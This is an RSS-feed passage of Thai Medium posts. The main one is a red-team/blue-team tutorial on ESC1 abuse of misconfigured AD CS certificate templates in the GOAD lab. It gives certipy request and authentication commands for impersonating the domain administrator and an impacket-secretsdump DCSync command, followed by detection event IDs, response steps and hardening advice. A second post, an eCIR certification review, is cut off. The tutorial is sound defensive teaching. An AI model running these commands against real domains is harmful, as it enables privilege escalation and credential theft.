?</h4><p>Active Directory Certificate Service หรือ ADCS เป็น Server role ที่ใช้สำหรับการ Implement และจัดการในเรื่องของ Public key infrastructure (PKI) certificate หรือใบรับรองต่าง ๆ ในองค์กร</p><p>โดย Certificate นั้นจะถูกใช้เกี่ยวกับการรองรับตัวตนทั้งในรูปแบบของ User /Computer หรืออาจจะถูกใช้สำหรับการเข้ารหัสข้อมูล (Data Encryption) หรือเซ็นต์ข้อมูล (Data signing) เพื่อความปลอดภัยในการรับส่งข้อมูลและความน่าเชื่อถือของข้อมูล</p><h4>กระบวนการในการขอ Certificate</h4><ol><li>ขั้นตอนแรกในการขอ Certificate เริ่มจากผู้ร้องขอ (Client) ทำการสร้าง Public/Private key pair</li><li>สร้าง Certificate signing request (CSR) message จากนั้นแนบ Public key และระบุข้อมูลต่างๆ เกี่ยวกับ Certificate ที่ต้องการขอส่งไปยัง Enterprise Certificate Authority (Enterprise CA) ยกตัวอย่างข้อมูลที่ระบุใน CSR เช่น</li></ol><ul><li>Subject: ใช้ในการระบุ User/Computer ที่ขอ Certificate</li><li>Template: ใช้ในการระบุชื่อ Certificate Template* ที่ต้องการขอ</li><li>Extended/Enhanced Key Usage (EKU): เป็นการระบุว่าจะใช้ Certificate ในการทำสิ่งใดบ้าง</li></ul><blockquote>* Certificate templateใช้สำหรับการตั้งค่าต่าง ๆ สำหรับ Certificate ซึ่งจะอยู่บน Enterprise Certificate Authority (Enterprise CA) และเป็นส่วนที่สำคัญ หากตั้งค่าอย่างไม่ปลอดภัยอาจจะทำให้ถูกโจมตีเพื่อยกสิทธิ์ได้</blockquote><p><em>โดยเดียวจะอธิบายอีกทีว่า Certificate template นั้นตั้งค่าอะไรได้บ้าง และการตั้งค่าแบบไหนที่จะทำให้เกิดช่องโหว่ ส่งผลให้ถูกโจมตีได้</em></p><p>3. เมื่อ Enterprise CA ได้รับ CSR จะทำการตรวจสอบข้อมูลดังนี้</p><ul><li>Template ที่ระบุใน CSR มีอยู่จริงไหม</li><li>Template นั้นอนุญาตให้ผู้ร้องขอทำการ Enroll ได้หรือไม่ (Enrollment permissions)</li><li>EKU ที่ร้องขอมาสอดคล้องกับที่มีการระบุไว้ใน Template หรือไม่</li></ul><p>4. โดยหาก Enterprise CA ตรวจสอบแล้วว่าข้อมูลทุกอย่างมีความถูกต้องก็จะทำการออก Certificate ให้ โดยถูก Sign ด้วย Private key ของ CA Server และส่งกลับไปให้ผู้ที่ร้องขอ</p><p>5. ผู้ที่ร้องขอนำ Certificate ที่ได้รับกลับไปเก็บไว้ใน store และนำมาใช้งาน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*sVsG-0BATTwx5HHC" /><figcaption>Certificate request flow</figcaption></figure><h3>การยกสิทธิ์ผ่าน Misconfigured Certificate Templates</h3><p>หลังจากที่ได้เรียนรู้ขั้นตอนในการขอ Certificate แล้ว จะเห็นได้ว่าสิ่งที่สำคัญที่ใช้ในการขอ Certificate นั้นคือ Certificate template ที่จะใช้ในการขอ ซึ่งหากมีการตั้งค่า Config ไว้ไม่ปลอดภัยอาจจะทำให้ถูกโจมตีได้ โดยเทคนิคการยกสิทธิ์มีหลากหลายวิธี ขึ้นอยู่กับการ Config certificate template</p><p>เอาล่ะมาเริ่มจากเทคนิคแรกที่เรียกว่า ESC1 (Escalation 1) กัน</p><h4>Misconfigured Certificate Templates — ESC1</h4><p>การโจมตี Certificate template ที่มีช่องโหว่ด้วยเทคนิค ESC1 จะต้องโจมตีโดยการร้องขอ Certificate ด้วย Certificate template ที่อนุญาตให้ User สิทธิ์ต่ำ (ที่เรายึดได้หรือมีอยู่แล้ว) Enroll ได้, อนุญาตให้ใช้ Certificate ในการ Authentication เพื่อเข้าถึงเครื่องได้, ไม่ได้มีการป้องกันด้วยการใช้ Insurance Requirements และอนุญาตให้ผู้ร้องขอกำหนด SAN เอง ทำให้สามารถปลอมเป็นใครก็ได้บน Domain ที่มีสิทธิ์สูงสำหรับการยกสิทธิ์ได้</p><p>โดยรายละเอียดการตั้งค่า Certificate templates ที่จะทำให้ถูกโจมตีโดยเทคนิค ESC1 มีดังนี้</p><p><strong>1. การตั้งค่า Enterprise CA ที่อนุญาตให้ User สิทธิ์ต่ำ Request Certificate ได้</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*9mhoBLGeAQGMqYofkKOzww.png" /></figure><p><strong>2. การตั้งค่า Certificate template security descriptor ที่อนุญาตให้ User สิทธิ์ต่ำ Enroll ได้<br></strong>Certificate template ทุกอันจะต้องมีตั้งค่าว่า ใครบ้างที่มีสิทธิ์ในการ Enroll ได้ โดย User ที่มีสิทธิ์ต่ำ ยกตัวอย่างเช่น Domain users, Authentication Users ซึ่งเป็นกลุ่มของ User ทุกคนที่อยู่ใน Domain หรือมีสิทธิ์ในการ Authen เข้าระบบ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*8oeoXJBEmH2b1CmvuGZAfA.png" /></figure><p><strong>3. ตั้ง EKU อนุญาตให้นำ Certificate ไปใช้ในการ Authentication ได้: <br></strong>โดยตั้งค่า EKU เป็น Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/1*qnNsUG70CXrQfLOASNewrA.png" /></figure><p><strong>4. ไม่มีการตั้งค่าให้ Certificate manager ต้อง Approve ก่อนที่จะออก Certificate ให้ (Insurance Requirements)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*Kpd23lxfF5okCMlSjp7X-A.png" /></figure><p><strong>5. ไม่ได้มีการตั้งค่าว่า CSR จะต้องถูก Sign ด้วย Certificate ที่ได้รับอนุญาตก่อน (Insurance Requirements)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*e8O-Ax2AfNsWgQEeoEMwZQ.png" /></figure><p><strong>6. ใช้ Subject ที่ระบุมาใน Request ซึ่งทำให้ผู้ร้องสามารถกำหนด Subject Alternative Name (SAN) ใน CSR เองได้:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*AxHjrHZaGY7cPYftZwHsww.png" /></figure><p>เวลาที่ใช้ Certificate ในการทำ Authentication นั้น SAN ที่อยู่ใน CSR จะถูก Mapping เข้ากับ User principal name (UPN) ที่อยู่บน AD เพื่อระบุตัวตน ดังนั้นหากอนุญาตให้ผู้ร้องขอสามารถกำหนด SAN มาได้เอง ก็จะสามารถ Authen เป็นใครก็ได้ใน Domain</p><p>ซึ่งตรงนี้เองที่จะเป็นช่องโหว่ให้ผู้โจมตีสามารถปลอมเป็น Domain User ที่มีสิทธิ์สูงเพื่อขอ Certificate ใช้ใน Authentication เพื่อยกสิทธิ์ได้</p><h3>Red Team Start:</h3><h4>มาเริ่มยกสิทธิ์ผ่าน Certificate template ที่มีช่องโหว่กัน (ESC1)</h4><p>เอาละ หลังจากเรียนทฤษฐีมานานจนเกือบจะหลับ เรามาเริ่มโจมตีกันดีกว่า โดยผมจะใช้ GOAD ซึ่งเป็น Active Directory Lab ที่จำลอง AD Environment และมีการ Setup ช่องโหว่ต่าง ๆ พร้อมให้ทดสอบโจมตีได้ทันที ซึ่งครอบคลุมไปถึงช่องโหว่ ADCS ด้วย</p><p><a href="https://github.com/Orange-Cyberdefense/GOAD">GitHub - Orange-Cyberdefense/GOAD: game of active directory</a></p><p>โดยผมจะจำลองว่าโจมตีจนได้ User ที่มีสิทธิ์ต่ำมาแล้ว (นอกจาก User แล้วก็ยังมี Computer ที่สามารถใช้ในการขอ Certificate ได้ขึ้นอยู่กับการ Config Certificate template ดังนั้นหากเรายึดเครื่องได้ก็สามารถใช้ในการขอ Certificate ได้เช่นเดียวกัน หากมีสิทธิ์)</p><blockquote>#Compromised Account<br>Username: missandei@essos.local<br>Password: dr3edom</blockquote><blockquote>CA: braavos.essos.local (192.168.56.23)<br>DC: meereen.essos.local (192.168.56.12)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*xqcto7xThqjOyIG9U6GEEg.png" /></figure><h4>Enumeration</h4><p>เริ่มจากใช้ Tool ที่ชื่อว่า Certipy บน Linux หรือจะใช้ Certify บน Windows ในการหาข้อมูลเกี่ยวกับ Certificate ที่มีช่องโหว่ด้วยคำสั่ง</p><pre># certipy find -u &lt;username&gt; -p &lt;password&gt; -vulnerable<br>certipy find -u missandei@essos.local -p &#39;fr3edom&#39; -vulnerable</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*Cg0-iqOhnGZi18sT1VJUJA.png" /></figure><p>โดยจะเมื่อเปิดผลลัพธ์ออกมาดูจะพบว่า Certificate template ที่ชื่อว่า ESC1 มีช่องโหว่จากการตั้งค่าที่ไม่ปลอดภัย</p><p>ซึ่ง Certipy เองจะมีการใส่ tag ไว้ใน Vulnerabilities ด้านล่างสุดด้วยว่า Certificate template ตัวนี้มีช่องโหว่</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*HlXeB2IPnajgG1EX2qk6nA.png" /></figure><h4>Request Certificate</h4><p>ทำการ Request certificate ด้วย Certificate template ESC1 และ SAN เป็น administrator (Domain Admin) ด้วยคำสั่ง</p><pre><br># certipy req -u &lt;username&gt; -p &lt;password&gt; -ca &lt;ca_name&gt; -target &lt;dns_name&gt; -template &lt;vulnerable_template_name&gt; -upn &lt;alternative_upn&gt;<br>certipy req -u missandei@essos.local -p &#39;fr3edom&#39; -ca ESSOS-CA -target braavos.essos.local -template ESC1 -upn administrator@essos.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VlGmQdS_WBDapDguy8laAA.png" /></figure><p>ซึ่งเราจะได้ Certificate เป็นไฟล์ pfx มาใช้สำหรับ Authen ต่อ*</p><blockquote>*หากใช้ certify.exe ในการ request certificate จะได้ออกมาเป็น pem อาจจะต้องใช้ openssl ในการเปลี่ยนจาก pem เป็น pfx ก่อน</blockquote><h4>Authentication</h4><p>นำ Certificate ที่ได้มาใช้ Authen ขอ TGT ผ่าน PKINIT Kerberos ด้วยคำสั่ง (หากใช้บน Windows สามารถใช้ Rubeus หรือจะทำ SOCK Proxy แล้วใช้ certipy ผ่าน proxychains ก็ได้)</p><pre># certipy auth -pfx &lt;pfx_file&gt; -dc-ip &lt;dc_ip&gt;<br>certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*koNx6MoxbEIbScR0apeXHg.png" /></figure><p>หลังจากที่ได้ TGT มาแล้วก็แล้วแต่เลยว่าจะทำอะไรต่อ ยกตัวอย่างเช่น DCSync หรือเข้าเครื่อง CA ไปขโมย CA Certificate และ Private key แล้วเอามาทำ Golden ticket สำหรับ Persistence ต่อก็ได้ แต่ขอยังไม่อธิบายวิธีการทำต่อเก็บไว้เล่า EP อื่น :) (หรือใครใจร้อนไปอ่านเองก่อนได้เลย555)</p><pre># export KRB5CCNAME=&lt;TGT_ccache_file&gt;<br>export KRB5CCNAME=administrator.ccache<br># impacket-secretsdump -k -no-pass @&lt;dc_hostname&gt;<br>impacket-secretsdump -k -no-pass @meereen.essos.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*1_K9zKM-Tsluw3jr095W0A.png" /></figure><h3>Blue Team Stop:</h3><h4>การตรวจจับการโจมตี Certificate ที่มีช่องโหว่ (ESC1)</h4><p>เราสามารถตรวจจับได้จากสองขั้นตอนของการโจมตีคือ</p><ol><li>ตรวจจับตอนที่ผู้โจมตีทำการร้องขอ Certificate ด้วย Certificate template ที่มีช่องโหว่</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7EkNUadAC8xlxY_mScMKRQ.png" /><figcaption>Source: Crowe analysis, June 2023</figcaption></figure><p>สำหรับการตรวจจับในขั้นตอนการร้องขอ จำเป็นต้องมีการ Enable Audit Certificate Services สำหรับเก็บ Log (EventID: 4898, 4886, 4887) เพิ่มเติมก่อน สามารถอ่านเพิ่มเติมได้ตามด้านล่าง</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fspeakerdeck.com%2Fplayer%2F1b772f05b9924020b111f4de727168f0&amp;display_name=Speaker+Deck&amp;url=https%3A%2F%2Fspeakerdeck.com%2Fheirhabarov%2Fhunting-for-active-directory-certificate-services-abuse&amp;image=https%3A%2F%2Ffiles.speakerdeck.com%2Fpresentations%2F1b772f05b9924020b111f4de727168f0%2Fslide_0.jpg%3F21574739&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=speakerdeck" width="710" height="399" frameborder="0" scrolling="no"><a href="https://medium.com/media/4f66e19bdce2237fdd473d041104c772/href">https://medium.com/media/4f66e19bdce2237fdd473d041104c772/href</a></iframe><p>โดย Log ที่เกี่ยวกับการ Request/Issue certificate (Event ID: 4886,4887) นั้นขี้ไก่มาก เพราะมันบอกแค่ใครมา ขอ Certificate บ้าง แต่ดั๊นนไม่มีบอกว่ามาขอ Certificate ผ่าน Template ที่ชื่อว่าอะไร ซึ่งมันไม่สามารถเอามาทำ Rule ในการตรวจจับได้เลย ได้แค่เอาไว้มาตรวจสอบตอนที่ถูกโจมตีอย่างเดียว</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GzzwLgLYdPAW1V10CWtNfQ.png" /><figcaption>ตัวอย่าง Log จาก <a href="https://speakerdeck.com/heirhabarov/hunting-for-active-directory-certificate-services-abuse?slide=15">https://speakerdeck.com/heirhabarov/hunting-for-active-directory-certificate-services-abuse?slide=15</a></figcaption></figure><p>2. ตรวจจับตอนที่ผู้โจมตีใช้ Certificate ในการนำไป Authentication เพื่อขอ TGT ไปใช้ในการเข้าระบบ (เฉพาะการนำ Certificate ไป Authen ด้วย PKINIT Kerberos เท่านั้น ไม่รวมถึง Protocol อื่นๆ)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iDWN7x7ntePq2tw61Eb_LA.png" /><figcaption>Source: Crowe analysis, June 2023</figcaption></figure><p>ผมแนะนำการตรวจจับโดยขั้นตอนนี้มากกว่า เพราะนอกจากจะตรวจจับได้แล้วสามารถสืบต่อได้ว่า ต้นทางของผู้ที่ใช้ Certificate ในการ Authen มาจากไหน และใช้ Certificate ใด</p><p>โดยการตรวจจับจะตรวจจับจากการ Request TGT ดังนี้</p><ul><li>Event ID: 4768 (TGT was requested)</li><li>Pre-Authentication Type: 16 (PKINIT request)</li><li>TicketOptions: 0x4080 (Hard coded in multiple attacker tools)</li></ul><blockquote>ไปอ่านละเอียดได้ที่: <a href="https://www.socstories.blog/detecting-adcs-attacks/">https://www.socstories.blog/detecting-adcs-attacks/</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*x_cdb3Q_92HLhCPeTZ5Dsg.png" /></figure><h4>ตรวจจับเจอแล้วไงต่อ ?</h4><p>เมื่อพบการโจมตีโดยใช้ Certificate ในการ Authentication นั้น การเปลี่ยน Password ไม่ช่วยอะไร เพราะมันคนละอย่างกัน สิ่งแรกที่จะต้องทำเพื่อรับมือนั้นคือ</p><ol><li>ตรวจสอบเครื่องต้น (Client Address) ทางที่ใช้ Certificate ในการ Authentication หากดำเนินการ Containment ได้ให้จัดแบบเร่งด่วน</li><li>เปลี่ยน Password ทุก Accounts ที่ใช้งานบนเครื่องต้นทาง เนื่องจากเครื่องอาจจะถูกยึดไปแล้ว</li><li>ตรวจสอบผู้ที่ร้องขอ Certificate โดยมีขั้นตอนดังนี้</li></ol><p>3.1 เข้า CA Server แล้วเปิด Certificate Authority ขึ้นมา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*eEdDOFLMZfUTAjEEd8buLQ.png" /></figure><p>3.2 ไปที่ Issued Certificates แล้วเลือก View-&gt;Filter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/312/1*jAv_nmqFc3PCjDsO8Ezc0A.png" /></figure><p>3.3 จากนั้นกด Add เพิ่ม Filter โดยใช้ Serial Number (จาก Event Log) เพื่อค้นหา Certificate อันตรายที่ถูก Issue ไปแล้ว จากนั้นกด OK เพื่อค้นหา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*y74SXwO4zDVGzPUKgaXRQQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*LCmbViTcws6L9g0PAzbTmw.png" /></figure><p>3.4 จากนั้นคลิกเข้าไปดูข้อมูลของ Certificate โดยดูว่าใครคือผู้ร้องขอ (Subject)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*eYQWMSGd3rLaxeLh8kx8JA.png" /></figure><p>โดยเคสนี้จะพบว่าเป็น Missandei ซึ่งเป็น Account ที่ถูก Compromise ก็ให้รีบทำการเปลี่ยน Password ของ Account นั้นสะ</p><p>4. ให้ทำการ Revoke Certificate ทันที เพื่อป้องกันไม่ให้ผู้โจมตีใช้ Certificate ในการ Authentication ได้อีก</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4UbGxXgt6K9gADHep2SRSQ.png" /></figure><blockquote>*** ห้ามลืม Revoke โดยเด็ดขาดเพราะถ้าลืมนี่ สามารถเอามาใช้ Authen ต่อได้เรื่อยๆ เพราะ Cert มันใช้ต่อได้โคตรนานถึง 1 ปี (ตามที่กำหนดไว้ใน Certificate template)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dS9ipeSuy7nKuUrdXuZnmw.png" /></figure><p>5. ปิดการใช้งาน Certificate template ดังกล่าวชั่วคราว เพื่อป้องกันการโจมตี และให้แก้ไข Config ให้มีความปลอดภัยก่อนนำกลับมาใช้งานใหม่</p><h4>การ Config เพื่อไม่ให้ถูกโจมตี</h4><p>ควรจะมีการ Config certificate template ให้มีความปลอดภัย โดยดูจากการใช้งานปกติ จะ Certificate ที่ Issue ไปแล้วก็ได้ โดยดูการตั้งค่าดังนี้</p><ul><li>Enrollment Permissions: ผู้ใช้งานเป็น Certificate เป็น User กลุ่มใด ไม่ควรจะให้สิทธิ์ User ที่มีสิทธิ์ต่ำมา Enroll</li><li>SAN: จำเป็นต้องให้ผู้ร้องขอ Certificate ระบุ SAN มาหรือไม่ ถ้าไม่จำเป็นให้ใช้ข้อมูลจาก AD แทน</li><li>EKU: วัตถุประสงค์ของการขอ Certificate ไปใช้งาน ว่านำไปใช้ในด้านใน</li><li>Manager Approval: หากไม่สามารถเปลี่ยนแปลง Config ด้านบนได้เลย ให้พิจารณาใช้การ Approve ก่อนออก Certificate ให้</li></ul><h3>สรุป</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/0*n-TIVygqPEiNb6Ky.jpg" /></figure><p>สำหรับเทคนิคการโจมตี Certificate template ที่ Config ไว้ไม่ปลอดภัยเพื่อยกสิทธิ์ ไม่ได้มีแค่เทคนิค ESC1 ที่นำเสนอไปในวันนี้แต่ยังมีอีกหลายเทคนิค ซึ่งโดยส่วนมากก็เกิดจากการตั้งค่าที่ไม่ปลอดภัย นอกจากนี้ยังมีเทคนิคเกี่ยวกับการทำ Persistence ต่าง ๆ ด้วย ถ้ามีเวลาจะกลับมาเขียนต่อ</p><p>ขอบคุณผู้ที่เข้ามาอ่านทุกท่าน หากมีข้อมูลผิดพลาดประการใดขออภัยด้วยครับ</p><h3>Reference</h3><ul><li><a href="https://posts.specterops.io/certified-pre-owned-d95910965cd2">https://posts.specterops.io/certified-pre-owned-d95910965cd2</a></li><li><a href="https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf">https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf</a></li><li><a href="https://www.socstories.blog/detecting-adcs-attacks/">https://www.socstories.blog/detecting-adcs-attacks/</a></li><li><a href="https://speakerdeck.com/heirhabarov/hunting-for-active-directory-certificate-services-abuse">https://speakerdeck.com/heirhabarov/hunting-for-active-directory-certificate-services-abuse</a></li><li><a href="https://github.com/Orange-Cyberdefense/GOAD">https://github.com/Orange-Cyberdefense/GOAD</a></li><li><a href="https://github.com/ly4k/Certipy">https://github.com/ly4k/Certipy</a></li><li><a href="https://www.crowe.com/cybersecurity-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8">https://www.crowe.com/cybersecurity-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=40b3123b0d46" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eLearnSecurity Certified Incident Responder (eCIR) Review]]></title>
            <link>https://huntsman-dfir.medium.com/elearnsecurity-certified-incident-responder-ecir-review-82622c1ec2b6?source=rss-a0f9fedd36d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/82622c1ec2b6</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[certification]]></category>
            <category><![CDATA[cyber-incident-response]]></category>
            <category><![CDATA[elearnsecurity]]></category>
            <dc:creator><![CDATA[WIRAPONG PETSHAGUN]]></dc:creator>
            <pubDate>Fri, 02 Dec 2022 10:41:13 GMT</pubDate>
            <atom:updated>2022-12-02T10:42:52.337Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ipUsEzeOSn02hEHQUMjRFA.png" /></figure><h4>Introduction</h4><p>สำหรับคนที่ทำงานในด้าน Security ในฝั่ง Blueteam คงจะรู้จัก Certificate อย่าง Sec+, CySA+, CHFI และ ECIH ที่เป็นของค่าย Comtia และ EC-Council ซึ่งเป็นการสอบแบบการตอบคำถามโดยการเลือก choice ตอบให้ถูกต้องเพื่อวัดระดับความรู้</p><p>โดยส่วนตัวได้มีการสอบในระดับนึงแล้ว จึงสนใจจะหา Certificate ที่เป็นการสอบแบบ Hand-on จากการหาข้อมูลมีอยู่สองค่ายที่สอบแบบ Hand-on ที่เน้นไปทางด้าน Investigation นั่นคือ eCIR (ค่าย eLearnSecurity) และ BTL1,2 (ค่าย Security Blue Team) ซึ่งสุดท้ายได้เลือกสอบเป็น eCIR ไปเนื่องจาก BTL เป็น Certificate ที่ค่อนข้างยังใหม่อยู่ และ eCIR มีราคาสอบที่ถูกกว่า จึงจะมาเล่าประสบการณ์ที่ได้ไปสอบ Certificate ตัวนี้มา</p><h4>Course Material and Labs</h4><p>ในส่วนของคอร์สนั้นเป็นคนละส่วนกับการสอบ โดยเราจะต้องสมัครแยกและเข้าไปเรียนด้วยตนเองที่ INE ซึ่งข้อดีของ INE คือเราสามารถเข้าไปเรียนคอร์สใดก็ได้ ซึ่งเนื้อหาในส่วนที่เกี่ยวข้องกับ eCIR (eLearnSecurity) จะเป็น Slide สะส่วนใหญ่ และก็จะมี LAB ให้เล่น</p><p>ในส่วนของเนื้อหาจะเริ่มตั้งพื้นฐานในเรื่องของ Process ของการทำ Incident Handling ตั้งแต่การ Preparation, Detection&amp;Analysis, Containment, Eradication&amp; Recovery, Post-Incident Activity จนไปถึงเทคนิคการวิเคราะห์ Network Traffic โดยใช้เครื่องมือต่างๆเช่น Wireshark, Suricata, Zeek และ Snort นอกจากนั้นจะเป็นในเรื่องของเทคนิคการโจมตีและการตรวจจับต่างๆใน Post-Exploitation บน Endpoint ประกอบไปด้วยการทำ Enumeration, Privilege Escalation, Persistence, Lateral Movement ซึ่งมีการอธิบายค่อนข้างละเอียดเลยทีเดียว โดยเนื้อหาในส่วนมากจะเน้นไปที่ Windows และ Active Directory เป็นหลัก</p><p>ในส่วนของตัว Lab จะเป็นมีให้เล่นในส่วนของการ Query ข้อมูลบน SIEM โดยชุดข้อมูลที่ใช้งานใน SIEM นั้นจะเป็น Splunk Boss ซึ่งใช้ในการซ้อมมือก่อนการสอบได้ นอกจากนั้นจะมี Lab การใช้งานเครื่องมือต่างๆในการวิเคราะห์ Network Traffic ที่ได้กล่าวไปข้างต้น</p><h4>Exam</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*UUPOktsiQBsd9Zct.jpg" /></figure><p>สำหรับการสอบของค่ายนี้ หากเราพร้อมเมื่อไหร่สามารถกดสอบได้ทันทีโดยที่ไม่ต้องจองวันสอบล่วงหน้า (ต้องสอบภายใน 180 วันหลังจากที่ซื้อ Vouchers) โดยการสอบจะมีเวลาทั้งหมด 4 วันโดยแบ่งเป็นการทำ Lab 2 วันโดยเมื่อครบตามเวลาเราจะไม่สามารถ Access เข้าไปทำ LAB ต่อได้จากนั้นจะมีเวลาให้เขียน Report ส่งอีก 2 วัน</p><p>เมื่อเราเริ่มสอบจะมีโจทย์และคู่มือการสอบ และ format ในการทำ Report เบื้องต้นให้เราเข้าไป Download ซึ่งโจทย์จะบอกเพียงแค่ภาพกว้างๆ ไม่ได้บอกรายละเอียดในเชิงลึก โดยการเข้าไปทำ Lab เราจะต้อง Access ผ่าน VPN โดยโจทย์จะเป็นในลักษณะของการทำ Investigation ที่ค่อนข้างจะ Real-World ทำให้มั่นใจได้เลยว่าคนที่ผ่าน Certification ตัวนี้สามารถทำ Investigation ในเคสจริงๆได้เลย</p><p>ซึ่งความยากของข้อสอบนี้คือเราจะไม่มีทางรู้ได้เลยว่าสิ่งที่เราเจอนั้นมันถูกต้องและครบถ้วนหรือไม่ เนื่องจากลักษณะของโจทย์จะเป็นการถามกว้างๆทำให้ไม่มี Check-Point หรือ Checklist ในการตรวจสอบเลย</p><p>โดยหากเราสอบไม่ผ่านในรอบแรกจะมี Feedback จากทาง Reviewer มาแนะนำเพิ่มเติม ซึ่งเราสามารถสอบแก้ตัวแบบฟรีๆได้อีกรอบ</p><h4>Tips for the exam</h4><ul><li>ก่อนสอบควรลองเล่น Lab พวก <a href="http://bots.splunk.com/">Splunk Boss</a> เพื่อซ้อมมือก่อน</li><li>ควรลองใช้ Post-Exploit Tools ยอดนิยมในการโจมตีและเก็บ Log เพื่อดูว่าหลังจากเรียกใช้งานแต่ละ Tools มันมี Artifacts, Event หรือ Logs อะไรเกิดขึ้นบ้าง และเราสามารถตรวจสอบได้อย่างไรได้บ้าง</li><li>ต้องอ่านและศึกษาให้เข้าใจถึงการทำงานและหลักการโจมตีจริงๆ โดยเฉพาะเทคนิคในส่วนของ Post-Exploitation บน Windows ที่อยู่ใน AD Environment เนื่องจากตอนที่ทำ Report จะต้องเขียนอธิบายทั้งหลักการตรวจจับและหลักการโจมตีอย่างละเอียด</li><li>จดและบันทึกภาพทุกอย่างที่เจอ โดยตอนจดแนะนำให้แยกเครื่องจะได้ไม่สับสน เพราะข้อมูลค่อนข้างเยอะ และให้จดเรียงไว้เป็น Timeline เพื่อจะได้เห็นภาพการโจมตีของแต่ละเครื่องและเพื่อให้ง่ายต่อการทำ Report ซึ่งโดยส่วนตัวผมใช้ Onenote ในการจดข้อมูล</li><li>นอกจากเนื้อหาหลักควรเรียนรู้เรื่องของการวิเคราะห์ Malware เบื้องต้นด้วย เนื่องจากในระหว่างการทำ Investigation จะเจอ Malware ที่ต้องวิเคราะห์เพื่อ Identify ให้ได้ว่า Malware ตัวใด, ใช้ทำอะไร มี Domain/IP Address ที่เป็น C2 Server หรือไม่</li><li>เนื่องจากโจทย์ไม่ได้มีการตั้งคำถามที่เฉพาะเจาะจง ดังนั้นเราจะต้องทำการเรียบเรียง Timeline และตรวจสอบเองว่าสิ่งที่เราเจอนั้นครบทุก Attack Phase และสามารถร้อยเรียงเหตุการณ์ต่างๆได้ครบแล้วหรือยัง</li><li>หนึ่งในการตรวจสอบความผิดปกติบน Endpoint คือดูในเรื่องของ Process ที่ผิดปกติไม่ว่าจะเป็นในเรื่องของ Process Tree, Process Path, Process Name ซึ่งสามารถดู Poster ของ <a href="https://www.sans.org/posters/hunt-evil/">SANS</a> เป็น Guideline ได้</li><li>ในเรื่องของการ Lateral Movement ก็เป็นอีกเรื่องหนึ่งซึ่งสำคัญเช่นกัน ซึ่งสามารถดู Poster ของ <a href="https://www.sans.org/posters/hunt-evil/">SANS</a> และ Document ของ <a href="https://www.jpcert.or.jp/english/pub/sr/20170612ac-ir_research_en.pdf">JPCert</a> เป็น Guideline ได้</li><li>หากมีส่วนไหนที่เราคิดว่าเป็นความผิดปกติแต่เราไม่สามารถเชื่อมโยงเป็น Timeline ได้ให้ใส่ไปใน Report ก่อนเพราะถือว่าเป็นความผิดปกติที่เราพบ</li><li>พยายาม Investigate ให้เป็น Backward และ Forward ไปตามลำดับเหตุการณ์ยกตัวอย่างเช่นหากเริ่มต้นเราไปเจอ PowerShell ที่รันคำสั่งอันตรายบนเครื่องเราควรตรวจสอบย้อนหลัง (Backward) ไปว่ามันเข้ามาเรียกใช้งาน PowerShell บนเครื่องได้อย่างไร และตรวจสอบเหตุการณ์ถัดไป (Forward) ว่าหลังจากที่เรียก PowerShell แล้วได้ทำอะไรต่อหรือไม่</li></ul><h4>Conclusion</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/0*lsgRd1JFXxY805pX.jpg" /></figure><p>eCIR ถือว่าเป็น Certificate ที่เหมาะสำหรับ Incident Responder ที่ต้องการเริ่มต้นที่จะทำ Investigate ทางด้าน Cyber Attack อย่างจริงจัง เพราะเป็น Hand-on Certificate ที่จะต้องมีความเข้าใจพื้นฐานและเทคนิคการโจมตีต่างๆ รวมถึงวิธีการตรวจจับและตรวจสอบการโจมตี ซึ่งโดยส่วนตัวค่อนข้างชอบ Exam ของ Cert 